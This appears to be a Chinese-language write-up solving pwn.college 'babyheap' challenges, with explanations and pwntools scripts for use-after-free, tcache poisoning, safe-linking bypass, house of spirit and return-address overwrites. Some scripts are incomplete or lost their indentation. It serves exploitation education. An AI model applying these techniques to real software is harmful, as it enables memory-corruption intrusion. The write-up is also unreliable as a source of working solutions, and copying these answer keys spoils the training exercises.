level 1

由于堆的内容我之前没学过,我打算写的详细些。
use-after-free漏洞
这个漏洞的利用方式和fastbin/tcache相关,但是在目前,我们不用做的非常复杂。
首先看这个题目,它提供了四种操作(malloc/free/puts/read_flag)
其中 puts函数会打印ptr中的内容,malloc用于申请空间,read_flag会申请一个新的空间,然后把flag放进去。
所以我说在这一题我们不必要考虑那么复杂。
对于use-after-free漏洞。我们可以就简单理解成,如果我们申请了一个空间,然后把他free掉,然后再申请一个大小相同的空间,这时候新的空间会利用旧的我们free掉的空间的相同位置。
但是事实上,这背后的实现会比这个稍微复杂。
综上,我们的思路就是:

  1. 先malloc一个218字节的空间,我们获得了一个地址A。
  2. free(A)。
  3. read_flag 这时候flag就会存放在A中。
  4. puts(A)

这时候flags就会被成功打印。
可以看到题目给的信息确实符合上述描述
UAF

level 2

读取flag malloc的空间变成了随机的,但其实也差不多。因为每次malloc大小仍然是一样的
因此我们只需要读取一次之后,再重复level1的操作。
第二关我们失去了给出的malloc大小,但无所谓,我们malloc两次即可获得大小,但要注意,每个chunk的结构中都会有额外的16字节数据,一个用来存储上一个chunk用的空间,另一个用来存储该chunk用的空间
分别叫做prev_size和size 他们会用掉16bytes,因此还要在两个地址差的基础上减去16bytes

level 3

flag存放在程序第二次malloc的空间中。这时候就需要了解一个tcache的机制。
tcache是一堆单链表,根据空间大小分类,同时这些链表用一个存储着每个单链表表头的链表连接起来。
tcache
每次我们free掉一个空间,例如空间A,
这个空间中存储数据的区域就会被改成用来存储tcache数据,但是A的地址并不会改变。
然后A会被插入到对应单链表的起点,其中的next指针就会指向上一次free的相同大小的空间的地址。如果还没有上一个free的内容,就会存储NULL
同时,我们如果再次申请了相同大小的空间,程序就会利用tcache中的内容,假设这时候链表的起点就是A,A会被重新利用来存储数据,
同时它会被链表删除,这时候会有个奇怪的事情发生,如果我们只是重新malloc一个相同大小的区域而不填入数据,
key会被重置,但是next并没被重置。
后面的漏洞会利用到这个性质,目前我们并不需要这个性质。
总体上来看,这玩意很像一个栈,相同大小的块被塞到同一个链表中,后free的会被先利用。
综上,整理思路:

  1. A=malloc(215) |
  2. free(A)
  3. B=malloc(215)
  4. free(B)

此时tcache:

tcache
B
A
  1. read_flag

按照规则 flag就会被填入A中

  1. puts(A)

在本地调试时,如果你看过最后一个视频,会知道tcache里的数据已经是被混淆过了的。

这不妨碍我们的漏洞利用,但很显然,如果我们要做后面的题,就不能再本机进行调试,或者我们用旧版的libc

这个安全机制也是最新引进的 通过在本地和在pwncollege测试,你就会发现他们之间的差距。

level 4

这一题涉及到了前面说的tcache的知识
我原来的想法:
单链表要做到删除元素,对于tcache,这并不复杂,把head变成head->next即可。
于是我打算free之后覆盖next为该块的地址。这样tcache就会再连接这个块。
后来我发现了问题,是这个链表的长度还决定于count参数(位于索引所有单链表的那个链表里)
也就是说,长度其实是看count的,而不是看链表结尾的Null的。
因此我换了个策略。
把key给覆盖成一个随机值,然后free free。
这样的话两次malloc都会在同一个地方。
因此我们就能读取到flag了。

level 5

这一题我们只能读取和free最新申请的内存区域。
具有一个打印flag功能需要前八个字节不为0。
每次申请flag空间,前16个字节会被清空。
根据以上信息,我们可以整理出一个大致的思路。

  • 由于检查的是前八位非零,因此在tcache中,我们所能控制的那个chunk的next必须有值
  • 申请flag又会重置,但是我们可以再次free重置回来。
  1. A=malloc()
  2. B=malloc()
  3. free B
  4. free A
  5. read_flag
  6. free A
  7. puts_flag

level 6

这题会在0x42962c位置存储一个八位的key,我们需要泄露它,然后在send_flag里面输入它获得flag。
我们可以对于16个块进行任意的读写
因此可以组织如下思路。

  1. A=malloc(16)
  2. B=malloc(16)
  3. free B
  4. free A
    此时 tcache 会是A->next=B
    利用scanf,我们可以覆盖A->next为p64(0x42962c)。此时tcache A->next = key
  5. A=malloc(16)
  6. B=malloc(16),此时的B指向KEY
  7. print(B) 泄露出KEY
from pwn import *
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
s = lambda x:p.send(x)
path='/challenge/babyheap_level6.0'
p=process(path)
sl(b'malloc\n0\n16\nmalloc\n1\n16\nfree\n1\nfree\n0\nscanf\n0')
sl(p64(0x42962C))
sl(b'malloc\n0\n16\nmalloc\n1\n16\nputs\n1')
p.interactive()

level 7

前面提到, tcache里面的东西被重新取出的时候, key位置会被放空值。
由于程序比较用的是memcpy,而不是strncmp ,这就需要\x00也要一样,因此输入的时候加上八个\x00即可

from pwn import *
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
s = lambda x:p.send(x)
path='/challenge/babyheap_level7.0'
p=process(path)
sl(b'malloc\n0\n32\nmalloc\n1\n32\nfree\n1\nfree\n0\nscanf\n0')
sl(p64(0x42AB29))
sl(b'malloc\n0\n32\nmalloc\n1\n32\nputs\n1')
ru(b'puts(allocations[1])')
p.recvline()
key=p.recvline().decode('l1').split(': ')[1].strip()+'\x00'*8
sl(b'send_flag')
sl(key)
p.interactive()

level 8

这一题要求从42c80A开始检测16个字符。
由于scanf遇到\x0a停止。我们显然不能输入42c80a这种特殊的地址。但是这其实不妨碍我们从0x42c800开始利用
完全可以malloc出一个32字节的空间,覆盖到0x42c820。(因为我们有随意写入的权限,可以直接把flag全覆盖掉)

from pwn import *
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
s = lambda x:p.send(x)
path='/challenge/babyheap_level8.0'
p=process(path)
sl(b'malloc\n0\n32\nmalloc\n1\n32\nfree\n1\nfree\n0\nscanf\n0')
sl(p64(0x42c800))
sl(b'malloc\n0\n32\nmalloc\n1\n32\nscanf\n1')
sl(b'a'*32)
p.interactive()

level 9

对于这一题,虽然说我们没法获得malloc之后的指针,不能对他进行scanf和puts,但是并不是不允许malloc,也就是说,实际上它是被malloc了的。
既然如此,我们就有利用空间了。
之前提到过,每次free掉的chunk被重新malloc之后,他们的key部分会被重置成0
利用这个就可以控制key周围全都变成0
但是要注意,每次只能控制传送掉一个chunk过去。原因是,tcache中的链的内容会受到指针的控制,一旦控制了一个,后面就都是连着的。
这样子重复三次,。从后往前,就可以把key部分全部变成0
这里几个有趣的现象。

  1. malloc其实并不是强制要求16字节对齐的,至少用漏洞这样控制并没有产生报错。
    事实上,涉及到了xmm寄存器,才会导致程序崩溃,如果只是malloc而不进行任何操作,并不会导致崩溃
  2. 从tcache中重新malloc的chunk并不会设置元数据,它只是沿用free时的数据。简单地说,malloc出来之后,他做的唯一的操作就是设置x+8的位置为QWORD 0
  3. 上述操作从后往前从前往后都能成功获得flag,验证了2中的论述

第二关有个奇怪的问题我暂时没解决,就是我发现我通过漏洞构造在0x422F20位置的malloc直接导致了segmentation fault
然而其他不对齐的没有任何问题,简直太奇怪。

from pwn import *
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
s = lambda x:p.send(x)
path='/challenge/babyheap_level9.0'
p=process(path)
key_adress=0x422F26
for i in range(2):

option=(f"malloc\n0\n16\nmalloc\n1\n16\nfree\n1\nfree\n0\n"+\
f"scanf\n0\n{p64(key_adress-8+8*i).decode('l1')}\n"+\
f"malloc\n0\n16\nmalloc\n1\n16\n").encode('l1')
s(option)
sl(b"send_flag\n"+b"\x00"*16)
p.interactive()

level 10

相比之下这一题显得有点简单。

from pwn import *
path=('/challenge/babyheap_level10.0')
sl=lambda x:p.sendline(x)
s = lambda x:p.send(x)
ru = lambda x:p.recvuntil(x)
p=process(path)
ru(b'of your allocations is at: ')
ret_addr=int(p.recvline().decode('l1').strip('.\n\n'),16)+0x118
ru(b'main is at:')
main_addr=int(p.recvline().decode('l1').strip('.\n\n'),16)
win_addr=main_addr-0x1AFD+0x1A00
print(hex(win_addr))
sl(b"malloc\n0\n16\nmalloc\n1\n16\nfree\n1\nfree\n0\n"+\
b"scanf\n0\n"+p64(ret_addr))
s(b"malloc\n0\n16\nmalloc\n1\n16\nscanf\n1\n")
sl(p64(win_addr))
sl(b'quit')
p.interactive()


level 11

需要自己下泄露栈和text段地址。
利用echo新生成的堆中argv里的内容。其中有一个v4可以获得栈地址,而argv可以获得
其他的很简单 不说了

level 12

House Of Spirits!

一连串莫名奇妙的house of * 中的一个 。这个漏洞的名字没有任何意义。但是他非常牛逼,它的原理是在任意一个可写的位置伪造一个chunk。然后free掉它。
伪造chunk 需要的是熟悉他的元数据

position a chunk
ptr-16 PREV_SIZE
ptr-8 SIZE
ptr data
data
由于堆的利用机制,当前一个chunk在使用,SIZE部分的最低位会设置位1,这时候PREV_SIZE部分可以给前一个chunk利用。里面可以填入任何数据
这一题要求malloc(47),对齐到48 加上16 SIZE就是p64(65)
from pwn import *
path=('/challenge/babyheap_level12.0')
p=process(path)
payload=b'a'*48+b'a'*8+p64(64+1)
p.send(b'stack_scanf\n'+payload+b'\nstack_free\n'+b'stack_malloc_win\n')
p.interactive()

第二关数据变了,但是脚本一个字不用动,设计的有点失败。

level 13

栈溢出根本覆盖不到v14 不然这题显然是直接秒了的。
因此需要先在v13位置构造一个32字节的chunk(元数据16字节),然后free掉,通过泄露栈地址和修改地址,重新把他定位到v14,然后malloc
这时候只要读取8个字节。

from pwn import *
p=process('/challenge/babyheap_level13.0')
p.recvuntil(b'for the flag.\n')
p.send(b'malloc\n0\n16\n')
p.send(b'stack_scanf\n'+b'a'*56+p64(33)+b'\n')
p.sendline(b'stack_free')
p.send(b'free\n0\n')
p.send(b'puts\n0\n')
p.recvuntil(b'Data: ')
heap1_addr=int.from_bytes(p.recvline().strip(b'\n'),'little')
key_addr=heap1_addr+(0x110-0xA2)
p.send(b'scanf\n0\n'+p64(key_addr)+b'\n')
p.send(b'malloc\n0\n16\nmalloc\n1\n16\n')
p.send(b'puts\n1\n')
p.recvuntil(b'Data: ')
key=p.recv(8)
payload=key+b'\x00'*8
p.sendline(b'send_flag\n'+payload)
p.interactive()

level 14

这一题和之前的那个有echo的题很像,但有些许区别。
之前的echo里面给出了一个局部变量,这显得有点刻意,我们可以利用它轻松获得栈地址,但是这次就没有了。
泄露栈的地址方法和上一题相同。
大致思路

  1. 通过tcache泄露栈地址
  2. 通过echo获取代码段地址。
  3. 覆盖返回地址。
from pwn import *
path='/challenge/babyheap_level14.0'
p=process(path)
def malloc(index,size):
p.send(f'malloc\n{index}\n{size}\n'.encode('l1'))
return None
def free(index):
p.send(f'free\n{index}\n'.encode('l1'))
return None
def echo(index,offset):
p.send(f'echo\n{index}\n{offset}\n'.encode('l1'))
p.recvuntil(b'Data: ')
bytes_data=p.recvline().strip(b'\n')
return bytes_data
def scanf(index,bytes_data):
p.send(f'scanf\n{index}\n'.encode('l1')+bytes_data+b'\n')
return None
def quit():
p.send(b'quit\n')
return None
def create_stack_chunk(padding,size):
# padding为输入段到指针的地址差,size为除元数据的大小,创建后自动free。
p.sendline(b'stack_scanf\n'+b'a'*(padding-8)+p64(size+16+1))
p.sendline(b'stack_free')
return None
def leak_stack(padding_ptr,padding_ret):
# padding是堆指针到返回地址的差。
malloc(0,16)
create_stack_chunk(padding_ptr,16)
free(0)
bytes_data=echo(0,0)
buf_addr=int.from_bytes(bytes_data,'little')
ret_addr=buf_addr-padding_ptr+padding_ret
malloc(15,16)
malloc(15,16)
return ret_addr
def leak_text(bin_echo_addr):
malloc(0,32)
free(0)
bytes_data=echo(0,0)
temp=int.from_bytes(bytes_data,'little')
text_addr=temp-bin_echo_addr
return text_addr
def control_flow(ret_addr,win_addr):
malloc(0,16)
malloc(1,16)
free(1)
free(0)
scanf(0,p64(ret_addr))
malloc(0,16)
malloc(1,16)
scanf(1,p64(win_addr))
return None
ret_addr=leak_stack(padding_ret=0x98,padding_ptr=0x90-0x50)
text_addr=leak_text(bin_echo_addr=0x33F8)
win_addr=0x1A22+text_addr
control_flow(ret_addr=ret_addr,win_addr=win_addr)
quit()
p.interactive()

第二关不知道是不是设计上的问题,\x0a附近的一些字符不能被scanf接收。所以需要进行略微的调整
比如用0x00141D

level 15

这一题echo又可以泄露栈的值。但是和之前不同的是,free后指针会被重置成NULL。
但是利用前面说到的chunk的结构,我们仍然可以利用漏洞,就是在上一个chunk的read覆盖掉一个free掉的chunk的内容即可。
其他的和原来的差不多

from pwn import *
path='/challenge/babyheap_level15.1'
p=process(path)
def malloc(index,size):
p.send(f'malloc\n{index}\n{size}\n'.encode('l1'))
return None
def free(index):
p.send(f'free\n{index}\n'.encode('l1'))
return None
def echo(index,offset):
p.send(f'echo\n{index}\n{offset}\n'.encode('l1'))
p.recvuntil(b'Data: ')
bytes_data=p.recvline().strip(b'\n')
return bytes_data
def scanf(index,bytes_data):
p.send(f'scanf\n{index}\n'.encode('l1')+bytes_data+b'\n')
return None
def read(index,nbytes,bytes_data):
p.send(f'read\n{index}\n{nbytes}\n'.encode('l1')+bytes_data+b'\n')
return None
def quit():
p.send(b'quit\n')
return None
def create_stack_chunk(padding,size):
# padding为输入段到指针的地址差,size为除元数据的大小,创建后自动free。
p.sendline(b'stack_scanf\n'+b'a'*(padding-8)+p64(size+16+1))
p.sendline(b'stack_free')
return None
def leak_stack_from_stack(padding_ptr,padding_ret):
# padding是堆指针到返回地址的差。
malloc(0,16)
create_stack_chunk(padding_ptr,16)
free(0)
bytes_data=echo(0,0)
print(bytes_data)
buf_addr=int.from_bytes(bytes_data,'little')
ret_addr=buf_addr-padding_ptr+padding_ret
malloc(15,16)
malloc(15,16)
return ret_addr
def leak_text(bin_echo_addr):
malloc(0,32)
free(0)
bytes_data=echo(0,0)
temp=int.from_bytes(bytes_data,'little')
text_addr=temp-bin_echo_addr
return text_addr
def leak_stack_from_echo(padding):
# padding是echo中被泄露的局部变量到返回地址的偏移
malloc(0,32)
free(0)
bytes_data=echo(0,8)
temp = int.from_bytes(bytes_data,'little')
ret_addr=temp+padding
return ret_addr
def leak_text_safefree(bin_echo_addr):
malloc(0,16)
bytes_data=echo(0,32)
temp=int.from_bytes(bytes_data,'little')
text_addr=temp-bin_echo_addr
return text_addr
def leak_stack_safefree(padding):
malloc(0,16)
bytes_data=echo(0,40)
temp=int.from_bytes(bytes_data,'little')
ret_addr=temp+padding
return ret_addr
def control_flow_by_scanf(ret_addr,win_addr):
malloc(0,16)
malloc(1,16)
free(1)
free(0)
scanf(0,p64(ret_addr))
malloc(0,16)
malloc(1,16)
scanf(1,p64(win_addr))
return None
def control_flow_safefree(ret_addr,win_addr):
malloc(0, 16)
malloc(1, 16)
malloc(2,16)
free(2)
free(1)
read(0,40,b'a'*24+p64(32+1)+p64(ret_addr))
sleep(0.2)
malloc(1, 16)
malloc(2, 16)
read(2,8,p64(win_addr))
sleep(0.2)
return None
ret_addr=leak_stack_safefree(padding=(0x0E+8+8+0x150+8))
text_addr=leak_text_safefree(bin_echo_addr=0x2110)
win_addr=0x1400+text_addr
print(hex(ret_addr))
print(hex(win_addr))
control_flow_safefree(ret_addr=ret_addr,win_addr=win_addr)
quit()
p.interactive()

这里面有很多前面用的函数。但是我懒得删了

level 16

启用了safe linking机制。
他的原理并不复杂,就是在free后的块的fd(指向后一个free的块的指针)本身地址右移12位 然后和fd里面存储的地址异或
也就是说,我们构造的部分还需要异或一个值,这个值大多数程度上是固定的,因为需要跨越0x1000字节才会改变
这题难度主要在于具有对齐检查又有malloc地址合法性的检查。如果像之前一样尝试key的重置机制覆盖两次是不可能的,程序会直接暴
这一题如果对于tcache机制不是非常深入了解的话,基本上没法做。
我们用之前的方法污染了tcache 让其中一个块指到key的部分之后,进行malloc 这时候链表删除了被malloc的那个部分(记为A),其实原理是用head指向了A->next
然后把A的key部分变成0
这时候即使tcache是空的 再malloc free 的块(记为B)的next也不会是Null 而就是A->next (当然是经过safelinking加密过后的)
于是我们就可以获得secret的前八个字节
同时还需要修正加密
一开始定位A到secret部分 这时候A->next原始的值应该是加密前的,也就是要xor secret地址>>12
然后puts出来的又是和堆地址>>12xor后过的。
两次异或回来就可以得到secret

from pwn import *
from functions import safelink_leak_key,malloc,free,scanf,puts,send_flag
import functions
from Crypto.Util.strxor import strxor
p=process('/challenge/babyheap_level16.0')
functions.p=p
p.recvuntil(b'stored at ')
secret_addr=int(p.recvline().strip(b'.\n').decode('l1'),16)
key=safelink_leak_key().ljust(8,b'\x00')
malloc(0,16)
malloc(1,16)
free(1)
free(0)
xor_secret=strxor(p64(secret_addr),key)
scanf(0,xor_secret)
malloc(0,16)
malloc(1,16)
malloc(2,16)
free(2)
secret=strxor(strxor(puts(2)[:8],key),p64(0x436))
print(key)
print(secret)
send_flag(secret+p64(0))
p.interactive()

level 17

这题太阴险了 原来试了半天一直在 malloc_usable_size 报错
因为canary会导致大小的未定义行为,具体函数的实现我猜测大概是判断在size的范围内是否是具有R/W权限的
于是乎这题卡了很久,后来看了下discord才有一点思路。
我的思路一开始是基于一个假设 我假设malloc_usable_size并没有对于对齐进行检查,后来发现确实如此。
然后发现在ida中ptr之前有八个字节没有初始化的内容,这很有可能可以提供一个合理的size值,让我们修改ptr[0]
然后我们再让ptr[0]指向ret_addr-1 注意不是rbp-8,因为在gdb中调试时我发现saved_rbp是1,这没法让我们覆盖返回地址,但是如果再加入一个canary里的随机字节,
这个值很大概率是合理的。
于是我们便可以覆盖返回地址。

from pwn import *
from functions import *
import functions
from Crypto.Util.strxor import strxor
p=process('/challenge/babyheap_level17.0')
functions.p=p
p.recvuntil(b'your allocations is at: ')
ptr=int(p.recvline().strip(b'.\n\n').decode('l1'),16)
p.recvuntil(b'of main is at: ')
main_addr=int(p.recvline().strip(b'.\n\n').decode('l1'),16)
win_addr=main_addr-0x1B1B+0x1A00
key=safelink_leak_key().ljust(8,b'\x00')
p.send(b'malloc\x00'+b'a'*(112-7)+p64(0)+b'\x51\n')
p.send(b'1\n16\n')
malloc(1,16)
free(1)
free(0)
xor_des=strxor(p64(ptr),key)
scanf(0,xor_des)
malloc(0,16)
malloc(1,16)
p.interactive()
scanf(1,p64(ptr+0x148-1))
scanf(0,b'a'+p64(win_addr))
p.interactive()

level 18

house of spirit
感觉和之前的没任何区别,不说了

level 19

通过覆盖元数据,让一个chunk变得很大,然后再read_flag free掉那个chunk重新malloc 就可以包含到flag

level 20

这题难度瞬间上升。
我在discord里了解到gef gdb的一个命令 才知道怎么做。
gef有个scan 命令 可以搜索一个内存范围内是否有另一个内存范围的指针
指令可以是
scan libc stack / scan heap libc
这种设定好的。
也可以是
scan A-B C-D A B C D 均为地址

这题原来只能R/W heap部分的任意地址。我们利用的最开始突破点就是scan搜索heap上包含libc的地址
就和之前的echo函数一样 只要有用到malloc的函数 我们就可以利用。
在safe_write里面有两个fdopen和fwrite很有可能会有。
所以就在gef中运行一下,再scan heap libc
事实证明确实有。
有了libc之后,我们就可以去找libc里面包含的stack地址或者代码段地址。
但是libc里面的text段地址在动态链接的时候就可以确定,他会被放入libc不可写入的部分。
这样我们在泄露的时候由于key重置为0的行为会segmentation fault
而stack的地址会放到libc可以写的部分,我们可以利用那些地址。
有了这两个 我们就可以在栈上构造chmod /flag a+rwx
比较简单就不具体说明。

from pwn import *
import functions
from functions import *
path='/challenge/babyheap_level20.0'
p=process(path)
functions.p=p
malloc(0,24)
malloc(1,16)
free(1)
temp=safe_write(0,24)
key = temp[16:24]
heap_addr=int.from_bytes(key,'little')*0x1000
for _ in range(2):
malloc(0,24)
malloc(1,16)
malloc(2,16)
free(2,16)
free(1,16)
safe_read(0,b'a'*32+p64(heap_addr+0x360))
malloc(1,16)
malloc(2,16)
print(safe_write(2,16))

有几个好用的命令

  • objdump -T 快速检索函数符号
  • scan 扫描内存中的指针
  • vmmap 看内存分配(gdb 中 info proc map)